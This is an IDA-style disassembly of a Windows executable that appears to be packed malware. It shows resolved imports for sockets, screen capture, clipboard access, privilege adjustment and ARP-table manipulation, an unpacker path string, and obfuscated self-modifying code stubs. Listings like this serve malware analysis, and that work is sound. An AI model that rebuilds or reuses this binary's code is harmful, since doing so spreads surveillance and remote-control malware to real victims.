dword_44CD18	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_401447+1A1r ...
dword_44CD1C	dd 77F19219h	; resolved to->GDI32.CreateDIBSection					; sub_4073B6+443r
dword_44CD20	dd 77F16F89h	; resolved to->GDI32.BitBlt					; sub_4073B6+46Br
dword_44CD24	dd 77F15FF0h	; resolved to->GDI32.CreateCompatibleDC					; sub_4073B6+44Br
dword_44CD28	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_402B2E+35r ...
dword_44CD2C	dd 7E430225h	; resolved to->USER32.CloseClipboard					; sub_4073B6+1E2r ...
dword_44CD30	dd 5B86AA41h						; sub_4073B6+9CEr ...
dword_44CD34	dd 7E42F383h	; resolved to->USER32.SendMessageA					; sub_4073B6+1ADr ...
dword_44CD38	dd 7C8214E3h	; resolved to->KERNEL32.GetDriveTypeA					; sub_4073B6+E2r ...
dword_44CD3C	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_401447+2DFr ...
dword_44CD40	dd 71B2547Ah						; sub_403C2B+4CCr ...
dword_44CD44	dd 77DFC534h	; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_41234D+55r
dword_44CD48	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExA					; sub_4073B6+25Fr
dword_44CD4C	dd 7CA235CBh	; resolved to->SHELL32.SHChangeNotifydword_44CD50	dd 76D6A195h	; resolved to->IPHLPAPI.DeleteIpNetEntry					; sub_40897F+CEr
dword_44CD54	dd 76D69962h	; resolved to->IPHLPAPI.GetIpNetTable					; sub_4073B6+A5Dr ...
dword_44CD58	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_401BD7+55r ...
dword_44CD5C	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; sub_4073B6+61Aw ...
dword_44CD60	dd 7432FF6Bh						; sub_4073B6+BA6r
dword_44CD64	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa					; sub_405A21+250r ...
dword_44CD68	dd 5B867750h						; sub_4073B6+9A6r ...
dword_44CD6C	dd 71AC1028h	; resolved to->WS2_32.accept					; sub_4069E1+B3r ...
dword_44CD70	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_401447+2F5r ...
dword_44CD74	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_4048F1+39Fr ...
dword_44CD78	dd 71B2578Ch						; sub_4073B6+ACEr
dword_44CD7C	dd 71AB8769h	; resolved to->WS2_32.WSASocketA					; sub_4018CB+4Fr ...
dword_44CD80	dd 71B2517Fh						; sub_4073B6+AA0w ...
dword_44CD84	dd 7C80AC0Fh	; resolved to->KERNEL32.SetErrorMode					; sub_4073B6+ADr ...
dword_44CD88	dd 7E41DAEAh	; resolved to->USER32.DestroyWindow					; sub_4073B6+1CAr
		align 10h
dword_44CD90	dd 76D64D33h	; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_4073B6+8C3r ...
dword_44CD94	dd 7C8217EAh	; resolved to->KERNEL32.SearchPathA					; sub_4073B6+EAr ...
dword_44CD98	dd 0							; sub_4073B6+12Bw ...
dword_44CD9C	dd 0							; sub_407F9F+1Cr
dword_44CDA0	dd 0							; sub_407F9F:loc_407FE7r
dword_44CDA4	dd 0							; sub_407F9F+50r
dword_44CDA8	dd 0							; sub_4073B6:loc_40768Bw ...
dword_44CDAC	dd 0							; sub_407F9F+84r
dword_44CDB0	dd 0							; sub_407F9F:loc_40804Fr
dword_44CDB4	dd 0							; sub_407F9F+B8r
dword_44CDB8	dd 0							; sub_407F9F:loc_408083r
dword_44CDBC	dd 0							; sub_407F9F+ECr
dword_44CDC0	dd 0							; sub_4073B6+877w ...
dword_44CDC4	dd 0							; sub_407F9F+120r
dword_44CDC8	dd 0							; sub_407F9F:loc_4080EBr ...
dword_44CDCC	dd 0							; sub_407F9F+154r
dword_44CDD0	dd 0							; sub_407F9F:loc_40811Fr ...
dword_44CDD4	dd 0							; sub_407F9F+188r
dword_44CDD8	dd 0							; sub_407F9F:loc_408153r
dword_44CDDC	dd 0							; sub_407F9F+1BCr
dword_44CDE0	dd 0							; sub_407F9F:loc_408187r
dword_44CDE4	dd 0							; sub_407F9F+1F0r
dword_44CDE8	dd 0							; sub_407F9F:loc_4081BBr
dword_44CDEC	dd 0							; sub_407F9F+224r
dword_44CDF0	dd 0							; sub_407F9F:loc_4081EFr
dword_44CDF4	dd 0							; sub_407F9F+258r
dword_44CDF8	dd 0							; sub_407F9F:loc_408223r
dword_44CDFC	dd 0							; sub_407F9F+28Cr
		dd 2 dup(0)
dword_44CE08	dd 41h dup(0)	dword_44CF0C	dd 5 dup(0)	dword_44CF20	dd 0							; sub_408F94+54r ...
dword_44CF24	dd 0							; sub_408F94+37r ...
dword_44CF28	dd 0							; sub_4090ED+83o
dword_44CF2C	dd 0							; sub_4090ED+11Bw
dword_44CF30	dd 0Dh dup(0)						; sub_4090ED:loc_40922Ao
dword_44CF64	dd 0							; sub_408F94+F0r ...
		dd 0
dword_44CF6C	dd 0Eh dup(0)	dword_44CFA4	dd 1000h dup(0)						; sub_4098D3o ...
dword_450FA4	dd 0							; sub_4098D3+Eo ...
dword_450FA8	dd 0Eh dup(0)	dword_450FE0	dd 2 dup(0)	dword_450FE8	dd 17h dup(0)						; sub_40B479+131o ...
dword_451044	dd 40h dup(0)						; sub_40C212+A5o
dword_451144	dd 0							; sub_40B7F3+4Dr ...
dword_451148	dd 17h dup(0)						; sub_40C0DE+12Do
dword_4511A4	dd 3Fh dup(0)						; sub_40B734+7Do ...
		db 3 dup(0)
byte_4512A3	db 0			; DATA XREF: sub_40B7F3+29r
					; sub_40B7F3+34w
dword_4512A4	dd 40h dup(0)						; sub_40BA4A+88o ...
dword_4513A4	dd 41h dup(0)						; sub_40B350+50o ...
dword_4514A8	dd 0							; sub_40973B+44r ...
		dd 5 dup(0)
dword_4514C0	dd 0							; sub_40CC09+BC5r
		dd 2D9h	dup(0)
dword_452028	dd 0							; sub_40973B+2Do ...
		dd 3Fh dup(0)
dword_452128	dd 0							; sub_4133F9+40w ...
dword_45212C	dd 0							; sub_40656E:loc_4065B5r ...
dword_452130	dd 0							; sub_4132BE+52w ...
dword_452134	dd 0							; sub_4048F1+7Ew ...
dword_452138	dd 0							; sub_406D50+53r ...
dword_45213C	dd 0							; sub_406059+122w ...
byte_452140	db 0			; DATA XREF: sub_40C929+91o
					; sub_40CC09+2EF0r ...
		align 4
		dd 0F7C4h dup(0)
dword_490054	dd 11FBh dup(0)						; .data:00423201o
		db 3 dup(0)
byte_494843	db 0			; DATA XREF: .data:off_42CE10o
		dd 0FE43h dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: .data:off_42923Co
dword_4D4154	dd 2FBEh dup(0)
		db 3 dup(0)
byte_4E004F	db 0			; DATA XREF: .data:00422415o
					; .data:00423205o
		dd 103Fh dup(0)
dword_4E414C	dd 84BEh dup(0)			db 2 dup(0)
word_505446	dw 0			; DATA XREF: .data:off_421CB0o
		dd 6B01h dup(0)
		db 3 dup(0)
byte_52004F	db 0			; DATA XREF: .data:00422405o
					; .data:004231F5o
		dd 13BEh dup(0)
		db 3 dup(0)
byte_524F4B	db 0			; DATA XREF: .data:off_42CE04o
		dd 2C3Fh dup(0)
		db 3 dup(0)
byte_53004B	db 0			; DATA XREF: .data:00422409o
					; .data:004231F9o
		dd 5101h dup(0)
dword_544450	dd 2BCh	dup(0)			db 2 dup(0)
word_544F42	dw 0			; DATA XREF: .data:off_421CB8o
		dd 103h	dup(0)
dword_545350	dd 0DFA9h dup(0)		db 2 dup(0)
word_57D1F6	dw 0			; DATA XREF: .data:004231F1o
		dd 1CD6h dup(0)
		db 3 dup(0)
byte_584553	db 0			; DATA XREF: .data:off_42CEC8o
		dd 0FD3Bh dup(0)
		db 0
byte_5C3A41	db 2 dup(0)		; DATA XREF: .data:off_4292ECo
byte_5C3A43	db 0			; DATA XREF: .data:off_4372D0o
dword_5C3A44	dd 44C5h dup(0)			db 3 dup(0)
byte_5D4D5B	db 0			; DATA XREF: .data:off_437220o
		dd 10501h dup(0)
		db 0
byte_616161	db 3 dup(0)		; DATA XREF: .data:off_430F70o
		dd 0BFh	dup(0)
		db 0
byte_616461	db 3 dup(0)		; DATA XREF: .data:off_42D8D4o
		dd 1FFh	dup(0)
		db 2 dup(0)
word_616C62	dw 0			; DATA XREF: .data:off_431200o
		dd 3Fh dup(0)
		db 0
byte_616D61	db 3 dup(0)		; DATA XREF: .data:off_42D8C0o
		dd 184h	dup(0)
		db 0
byte_617375	db 3 dup(0)		; DATA XREF: .data:off_43350Co
		dd 2DFAh dup(0)
		db 0
byte_622B61	db 3 dup(0)		; DATA XREF: .data:off_428F40o
		dd 0DBFh dup(0)
		db 2 dup(0)
word_626262	dw 0			; DATA XREF: .data:off_42CD80o
		dd 0C0h	dup(0)
dword_626564	dd 242h	dup(0)			db 0
byte_626E6D	db 3 dup(0)		; DATA XREF: .data:off_42C994o
		dd 3Ch dup(0)
		db 2 dup(0)
word_626F62	dw 0			; DATA XREF: .data:off_42D860o
		dd 183h	dup(0)
byte_627570	db 3 dup(0)		; DATA XREF: .data:off_42D698o
byte_627573	db 0			; DATA XREF: .data:off_4319A8o
		dd 2DFh	dup(0)
		db 0
byte_6280F1	db 3 dup(0)		; DATA XREF: sub_74F69D+F44o
		dd 385Bh dup(0)
		db 0
byte_636261	db 3 dup(0)		; DATA XREF: .data:off_430F6Co
		dd 2Fh dup(0)
		db 3 dup(0)
byte_636323	db 0			; DATA XREF: .data:off_42A3DCo
		dd 0Fh dup(0)
		db 3 dup(0)
byte_636363	db 0			; DATA XREF: .data:off_42CD3Co
		dd 40h dup(0)
		db 0
byte_636465	db 3 dup(0)		; DATA XREF: .data:off_42CD90o
		dd 504h	dup(0)
		db 2 dup(0)
word_63787A	dw 0			; DATA XREF: .data:off_42CDE8o
		dd 2B2Ah dup(0)
dword_642524	dd 0F0Fh dup(0)			db 3 dup(0)
byte_646163	db 0			; DATA XREF: .data:off_42D858o
		align 10h
dword_646170	dd 0ACh	dup(0)			db 3 dup(0)
byte_646423	db 0			; DATA XREF: .data:off_42A368o
					; .data:off_42A384o
		dd 7 dup(0)
		db 0
byte_646441	db 3 dup(0)		; DATA XREF: .data:off_4295B4o
		dd 8 dup(0)
dword_646464	dd 2C0h	dup(0)			db 3 dup(0)
byte_646F67	db 0			; DATA XREF: .data:off_430FD8o
		dd 0FEh	dup(0)
		db 0
byte_647361	db 0			; DATA XREF: .data:off_42D88Co
word_647362	dw 0			; DATA XREF: .data:off_42D85Co
		dd 103h	dup(0)
dword_647770	dd 3B7Dh dup(0)			db 0
byte_656565	db 3 dup(0)		; DATA XREF: .data:off_42CCC0o
		dd 0
dword_65656C	dd 141h	dup(0)			db 2 dup(0)
word_656A72	dw 0			; DATA XREF: .data:off_42D684o
		dd 0ACh	dup(0)
dword_656D24	dd 293h	dup(0)			db 0
byte_657771	db 3 dup(0)		; DATA XREF: .data:off_42CE64o
		dd 3BBCh dup(0)
		db 2 dup(0)
word_666666	dw 0			; DATA XREF: .data:off_42CCDCo
		dd 0
		db 3 dup(0)
byte_66666F	db 0			; DATA XREF: .data:off_433A48o
		dd 17Ch	dup(0)
		db 0
byte_666C61	db 3 dup(0)		; DATA XREF: .data:off_42D8C4o
		dd 3EC0h dup(0)
		db 3 dup(0)
byte_676767	db 0			; DATA XREF: .data:off_42CC9Co
		dd 1FFh	dup(0)
dword_676F64	dd 2 dup(0)	dword_676F6C	dd 2425h dup(0)	dword_680000	dd 1A1Ah dup(0)	dword_686868	dd 3FFEh dup(0)			db 3 dup(0)
byte_696863	db 0			; DATA XREF: .data:off_42CE0Co
		dd 41h dup(0)
		db 0
byte_696969	db 3 dup(0)		; DATA XREF: .data:off_42CC54o
		dd 25BFh dup(0)
		db 2 dup(0)
word_6A006A	dw 0			; DATA XREF: .text:00413006o
		dd 3Fh dup(0)
		db 2 dup(0)
word_6A016A	dw 0			; DATA XREF: .text:off_413002o
		dd 1A3Fh dup(0)
		db 2 dup(0)
word_6A6A6A	dw 0			; DATA XREF: .data:off_42CC30o
		dd 3E3Dh dup(0)
		db 0
byte_6B6361	db 3 dup(0)		; DATA XREF: .data:off_421378o
		dd 201h	dup(0)
		db 3 dup(0)
byte_6B6B6B	db 0			; DATA XREF: .data:off_42CC0Co
		dd 2542h dup(0)
		db 0
byte_6C0075	db 3 dup(0)		; DATA XREF: zugr1819:0041F6DCo
		dd 830h	dup(0)
		db 2 dup(0)
word_6C213A	dw 0			; DATA XREF: .data:00421A50o
		dd 0BFh	dup(0)
		db 2 dup(0)
word_6C243A	dw 0			; DATA XREF: .data:00421A68o
		dd 3Fh dup(0)
		db 2 dup(0)
word_6C253A	dw 0			; DATA XREF: .data:00421A80o
		dd 23Fh	dup(0)
		db 2 dup(0)
word_6C2E3A	dw 0			; DATA XREF: .data:00421A38o
		dd 0CCBh dup(0)
dword_6C6168	dd 2 dup(0)			db 3 dup(0)
byte_6C6173	db 0			; DATA XREF: .data:off_42D674o
		dd 2BBh	dup(0)
		db 0
byte_6C6C61	db 3 dup(0)		; DATA XREF: .data:off_4321D4o
		dd 2 dup(0)
dword_6C6C6C	dd 0C0h	dup(0)	dword_6C6F6C	dd 3C81h dup(0)	dword_6D6170	dd 3Eh dup(0)			db 0
byte_6D6269	db 3 dup(0)		; DATA XREF: .data:off_42D760o
		dd 1BFh	dup(0)
		db 3 dup(0)
byte_6D696B	db 0			; DATA XREF: .data:off_42D738o
		dd 100h	dup(0)
		db 0
byte_6D6D6D	db 3 dup(0)		; DATA XREF: .data:off_42CBC4o
		dd 17Ch	dup(0)
		db 0
byte_6D7361	db 3 dup(0)		; DATA XREF: .data:off_42D888o
		dd 2331h dup(0)
dword_6E0028	dd 1853h dup(0)	dword_6E6174	dd 0FDh	dup(0)			db 2 dup(0)
word_6E656A	dw 0			; DATA XREF: .data:off_42D744o
		dd 101h	dup(0)
		db 3 dup(0)
byte_6E6973	db 0			; DATA XREF: zugr1819:0041F74Co
		db 3 dup(0)
byte_6E6977	db 0			; DATA XREF: .data:off_430F60o
		dd 13Ah	dup(0)
		db 0
byte_6E6E61	db 3 dup(0)		; DATA XREF: .data:off_42D8A0o
		dd 2 dup(0)
		db 2 dup(0)
word_6E6E6E	dw 0			; DATA XREF: .data:off_42CBA0o
		dd 1BDh	dup(0)
		db 2 dup(0)
word_6E7566	dw 0			; DATA XREF: .data:off_42D778o
		dd 2 dup(0)
		db 3 dup(0)
byte_6E7573	db 0			; DATA XREF: .data:off_42D634o
		dd 0FAh	dup(0)
		db 3 dup(0)
byte_6E795F	db 0			; DATA XREF: zugr1819:0041F6F0o
		dd 4 dup(0)
		db 3 dup(0)
byte_6E7973	db 0			; DATA XREF: .data:off_42137Co
		dd 3D7Eh dup(0)
		db 3 dup(0)
byte_6F6F6F	db 0			; DATA XREF: .data:off_42CB7Co
		dd 3C82h dup(0)
		db 2 dup(0)
word_70617A	dw 0			; DATA XREF: .data:off_42D59Co
		dd 3BDh	dup(0)
dword_707070	dd 1FDh	dup(0)			db 0
byte_707865	db 3 dup(0)		; DATA XREF: zugr1819:off_41F7A0o
		dd 3E42h dup(0)
		db 0
byte_717171	db 3 dup(0)		; DATA XREF: .data:off_42CA5Co
		dd 3D7Eh dup(0)
		db 0
byte_72676D	db 3 dup(0)		; DATA XREF: .data:off_42D714o
		dd 1FEh	dup(0)
		db 3 dup(0)
byte_726F6B	db 0			; DATA XREF: .data:off_42CE08o
		dd 2D7Ch dup(0)
dword_73255C	dd 0FFFh dup(0)			db 0
byte_736559	db 3 dup(0)		; DATA XREF: .data:off_429C54o
		dd 281h	dup(0)
		db 3 dup(0)
byte_736F63	db 0			; DATA XREF: zugr1819:0041F748o
dword_736F64	dd 103h	dup(0)			db 3 dup(0)
byte_737373	db 0			; DATA XREF: .data:off_42CB10o
		dd 17Fh	dup(0)
		db 3 dup(0)
byte_737973	db 0			; DATA XREF: .data:off_42D60Co
		dd 297Dh dup(0)
dword_741F68	dd 4C33h						; sub_40C2D0+4Aw ...
		align 10h
dword_741F70	dd 0		dword_741F74	dd 20h dup(0)						; sub_40C2D0+5BCo ...
dword_741FF4	dd 10h dup(0)						; sub_40CC09+91Do
dword_742034	dd 0Dh dup(0)	dword_742068	dd 0							; sub_413525+19o
dword_74206C	dd 16h dup(0)	dword_7420C4	dd 0							; sub_40C2D0+5D3w ...
dword_7420C8	dd 0				dd 3 dup(0)
dword_7420D8	dd 0		dword_7420DC	dd 0							; sub_40CC09+276r
		dd 2 dup(0)
		db 2 dup(0)
byte_7420EA	db 0			; DATA XREF: sub_40CC09:loc_411271r
					; sub_40CC09+4672o
		align 4
byte_7420EC	db 0			; DATA XREF: sub_40CA91+28r
					; sub_40CA91+30o
		align 10h
dword_7420F0	dd 0							; sub_40C2D0+587r ...
dword_7420F4	dd 0							; sub_40CC09+8C1r
dword_7420F8	dd 41h dup(0)	byte_7421FC	db 0			; DATA XREF: sub_4131B7+6Ar
					; sub_4131B7+98w
		align 10h
		dd 2 dup(0)
dword_742208	dd 0				align 10h
dword_742210	dd 0							; sub_414D55+A4w
		align 8
word_742218	dw 0			; DATA XREF: sub_414D55+55r
					; sub_414D55+9Ao
word_74221A	dw 0			; DATA XREF: sub_414D55+48r
		db 2 dup(0)
word_74221E	dw 0			; DATA XREF: sub_414D55+3Br
word_742220	dw 0			; DATA XREF: sub_414D55+2Er
word_742222	dw 0			; DATA XREF: sub_414D55+21r
		align 8
dword_742228	dd 0							; sub_4150A0+91w
dword_74222C	dd 0							; sub_414B02+1B9w ...
dword_742230	dd 0							; sub_419730:loc_4197CAw ...
dword_742234	dd 0		dword_742238	dd 0A28h	dword_74223C	dd 501h		dword_742240	dd 5		dword_742244	dd 1		dword_742248	dd 1							; sub_41ABF0+91w
dword_74224C	dd 0BE0ED0h						; sub_40C2D0+32Br ...
		dd 0
dword_742254	dd 0BE0D70h						; sub_41D5E6+9r ...
dword_742258	dd 0		dword_74225C	dd 0							; sub_41DA84+4r ...
		dd 0
off_742264	dd offset aCM_unpackerPac ; DATA XREF: sub_41ABF0+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_74226C	db 0			; DATA XREF: sub_415CAB+2Dw
					; sub_41B497+5r
		align 10h
dword_742270	dd 0		dword_742274	dd 0							; sub_415CAB+8Bw
dword_742278	dd 0							; sub_41AB37:loc_41AB49r ...
		align 10h
dword_742280	dd 0		dword_742284	dd 0							; sub_4157BF:loc_4158BBr ...
dword_742288	dd 0		dword_74228C	dd 0							; sub_417F96+1Ar ...
byte_742290	db 0			; DATA XREF: sub_417E92+3r
					; sub_417E92+98r ...
		align 4
dword_742294	dd 0							; sub_418074+21w ...
byte_742298	db 0			; DATA XREF: sub_418074+51w
		align 4
dword_74229C	dd 0							; sub_418645+3Ar ...
dword_7422A0	dd 0							; sub_418645+43r ...
dword_7422A4	dd 0							; sub_418411+5r
dword_7422A8	dd 0		dword_7422AC	dd 2 dup(0)	dword_7422B4	dd 0							; sub_414A03:loc_414AD0r ...
		dd 3 dup(0)
dword_7422C4	dd 0							; sub_414A03+BFr ...
		dd 0
dword_7422CC	dd 1							; sub_419FC4+4Cw ...
dword_7422D0	dd 1							; sub_41A3AC+4w ...
dword_7422D4	dd 0				dd 0
dword_7422DC	dd 0							; sub_41A95B+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41ABF0:loc_41AC07o
					; .data:off_742264o
		align 4
		dd 3Ah dup(0)
dword_7423E4	dd 1							; sub_41AE3D+23w ...
dword_7423E8	dd 0		dword_7423EC	dd 0							; sub_41A891:loc_41A8BAw ...
dword_7423F0	dd 1							; sub_41B513:loc_41B57Dw
		align 8
word_7423F8	dw 0			; DATA XREF: sub_41BC28+1Ao
					; sub_41BC28+46r
byte_7423FA	db 0			; DATA XREF: sub_41BC28+39r
		align 4
dword_7423FC	dd 7 dup(0)	dword_742418	dd 0							; sub_41BC28+5Co
dword_74241C	dd 0		dword_742420	dd 0		dword_742424	dd 0		dword_742428	dd 77C2807Ch						; sub_41BD4B+38r ...
		align 10h
dword_742430	dd 0							; sub_41BFB2+63w ...
		align 8
dword_742438	dd 0							; sub_41BFB2+46r
dword_74243C	dd 10h dup(0)	word_74247C	dw 0			; DATA XREF: sub_41C210+A8r
word_74247E	dw 0			; DATA XREF: sub_41BFB2+54r
					; sub_41C210+DBr ...
word_742480	dw 0			; DATA XREF: sub_41C210+CAr
word_742482	dw 0			; DATA XREF: sub_41C210+D3r
					; sub_41C210:loc_41C302r
word_742484	dw 0			; DATA XREF: sub_41C210+C0r
word_742486	dw 0			; DATA XREF: sub_41C210+B8r
word_742488	dw 0			; DATA XREF: sub_41C210+B0r
word_74248A	dw 0			; DATA XREF: sub_41C210+9Er
dword_74248C	dd 0		dword_742490	dd 10h dup(0)	word_7424D0	dw 0			; DATA XREF: sub_41C210+46r
word_7424D2	dw 0			; DATA XREF: sub_41BFB2:loc_41C029r
					; sub_41C210+78r ...
word_7424D4	dw 0			; DATA XREF: sub_41C210+67r
word_7424D6	dw 0			; DATA XREF: sub_41C210+70r
					; sub_41C210:loc_41C294r
word_7424D8	dw 0			; DATA XREF: sub_41C210+5Dr
word_7424DA	dw 0			; DATA XREF: sub_41C210+55r
word_7424DC	dw 0			; DATA XREF: sub_41C210+4Dr
word_7424DE	dw 0			; DATA XREF: sub_41C210+3Er
dword_7424E0	dd 0		dword_7424E4	dd 0							; sub_41BFB2:loc_41C0FEr ...
dword_7424E8	dd 0		dword_7424EC	dd 0		dword_7424F0	dd 0		; resolved to->USER32.MessageBoxA					; sub_41CA11+2Ew ...
dword_7424F4	dd 0		; resolved to->USER32.GetActiveWindow					; sub_41CA11:loc_41CA60r
dword_7424F8	dd 0		; resolved to->USER32.GetLastActivePopup					; sub_41CA11+60r
dword_7424FC	dd 0							; sub_41D474+6Do
dword_742500	dd 0							; sub_41D474+44o
dword_742504	dd 0							; sub_41D474+37o
dword_742508	dd 0							; sub_41D474+51o
		align 10h
dword_742510	dd 0		dword_742514	dd 0							; sub_41DB68+48w ...
byte_742518	db 1			; DATA XREF: sub_403527r sub_403527+9w ...
		align 4
dword_74251C	dd 0BD4968h						; sub_419D5A+14r ...
dword_742520	dd 400h	dup(0)						; .data:00437EB0o
dword_743520	dd 200h							; sub_4198AE+56r ...
		dd 7 dup(0)
dword_743540	dd 0BE0EF0h						; sub_41991B+75r ...
dword_743544	dd 3Fh dup(0)	dword_743640	dd 20h							; sub_4199F4+Cr ...
dword_743644	dd 4E4h							; sub_41A213+65w ...
		align 10h
dword_743650	dd 3 dup(0)						; sub_41A213+171o ...
dword_74365C	dd 0							; sub_41A213+15Dw ...
byte_743660	db 0			; DATA XREF: sub_41A452:loc_41A55Ew
					; sub_41A452:loc_41A57Bw ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_743760	db 0			; DATA XREF: sub_41A213+5Co
					; sub_41A213+AFo ...
byte_743761	db 0			; DATA XREF: sub_415628+5Dr
					; sub_41A213+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_743864	dd 0							; sub_41A213+12Bw ...
dword_743868	dd 10h							; sub_416FD8+5r ...
dword_74386C	dd 0							; sub_4169A4+259r ...
dword_743870	dd 0BD0650h						; sub_4169A4+310w ...
dword_743874	dd 0							; sub_4169A4+22Cr ...
dword_743878	dd 1							; sub_416979r ...
dword_74387C	dd 0BD0650h						; sub_416979+8r ...
dword_743880	dd 0BD0000h						; sub_413F7F+21r ...
dword_743884	dd 142340h						; sub_41AADF+Fr ...
dword_743888	dd 1							; sub_41D5E6r
dword_74388C	dd 1							; sub_41A5D7+11w ...
dword_743890	dd 0BE1B4Ch						; sub_414913:loc_414955r ...
dword_743894	dd 0BE1B40h						; sub_414913+Cr ...
byte_743898	db 1			; DATA XREF: sub_41E3E4+15r
					; sub_41E3E4+1Ew
		align 800h
_data		ends

; Section 4. (virtual address 00344000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00344000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_05c2ey_k	segment	para public 'DATA' use32
		assume cs:_05c2ey_k
		;org 744000h
dword_744000	dd 3440CCh, 0			dd 0FFFFFFFFh, 34403Ch,	3440B4h, 344108h, 0
		dd 0FFFFFFFFh, 3440E8h,	344104h, 5 dup(0)
aKernel32_dll_0	db 'kernel32.dll',0
		align 4
		dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h
		dd 694C6461h, 72617262h, 4179h,	65470000h, 6F725074h, 64644163h
		dd 73736572h, 0
		dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h
		dd 6C6C416Ch, 636Fh, 69560000h,	61757472h, 6572466Ch, 65h
		dd 7C80B6A1h, 7C801D77h, 7C80ADA0h, 7C81CDDAh, 7C809A51h
		dd 7C809AE4h, 34404Ch, 344060h,	344070h, 344084h, 344094h
		dd 3440A4h, 0
aUser32_dll_0	db 'user32.dll',0
		align 4
		dd 654D0000h, 67617373h, 786F4265h, 41h, 7E45058Ah, 3440F4h
		dd 3BDh	dup(0)
_05c2ey_k	ends

; ---------------------------------------------------------------------------
; Section 5. (virtual address 00345000)
; Virtual size			: 00013000 (  77824.)
; Section size in file		: 00013000 (  77824.)
; Offset to raw	data for section: 00345000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_0z4jwtox	segment	para public 'CODE' use32
		assume cs:_0z4jwtox
		;org 745000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing


loc_745000:				; CODE XREF: _0z4jwtox:loc_75766Cj
					; DATA XREF: _0xtwbvzc:00771288o
		jz	loc_7533A3
		jmp	loc_74C6A8
; ---------------------------------------------------------------------------
		not	edi
		jmp	loc_7470E2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_183. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755B22


loc_745013:				; CODE XREF: sub_755B22-5422j
		jmp	nullsub_15
; END OF FUNCTION CHUNK	FOR sub_755B22
; ---------------------------------------------------------------------------
		push	0AAEBB9F3h
		jmp	sub_7510EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7462C2


loc_745022:				; CODE XREF: sub_74EB61+46B5j
					; sub_7462C2+CF63j
		sub	eax, 0EE2B9DEh
		add	eax, 9C144CA3h
		xor	eax, 0F0FCBD0h


loc_745034:				; CODE XREF: sub_74FE55+45BDj
		add	eax, ebp


loc_745036:				; CODE XREF: sub_747AEC+7B1Ej
		add	eax, 628121B0h
		mov	eax, [eax]


loc_74503E:				; CODE XREF: sub_756AA2-8070j
		add	eax, eax
		cdq
		jmp	loc_752BFC
; END OF FUNCTION CHUNK	FOR sub_7462C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D782


loc_745046:				; CODE XREF: sub_74D782-40FBj
		test	esi, ecx
		jmp	loc_749D85
; END OF FUNCTION CHUNK	FOR sub_74D782

; =============== S U B	R O U T	I N E =======================================



sub_74504D	proc near		; DATA XREF: _0z4jwtox:loc_74506Do

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0074E7E7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007500EF SIZE 0000001A BYTES

		add	edi, 5E37290Bh
		mov	[edi], eax
		pop	edi
		lea	eax, loc_7500EF
		mov	byte ptr [eax],	0C3h
		jmp	loc_74E7E7
sub_74504D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_745064:				; CODE XREF: sub_74504D:loc_7500EFj
					; sub_74C670:loc_7547E3j
		pop	edx
		mov	eax, [esp-4+arg_0]
		jmp	loc_74B7E2
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------


loc_74506D:				; CODE XREF: _0z4jwtox:loc_74F8D3j
					; _0z4jwtox:00751FDCj
		push	offset sub_74504D
		jmp	locret_74A4C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE46


loc_745077:				; CODE XREF: sub_74AE46+961Aj
		jge	loc_745F5F
		cmp	ebp, edi
		jmp	loc_74E66C
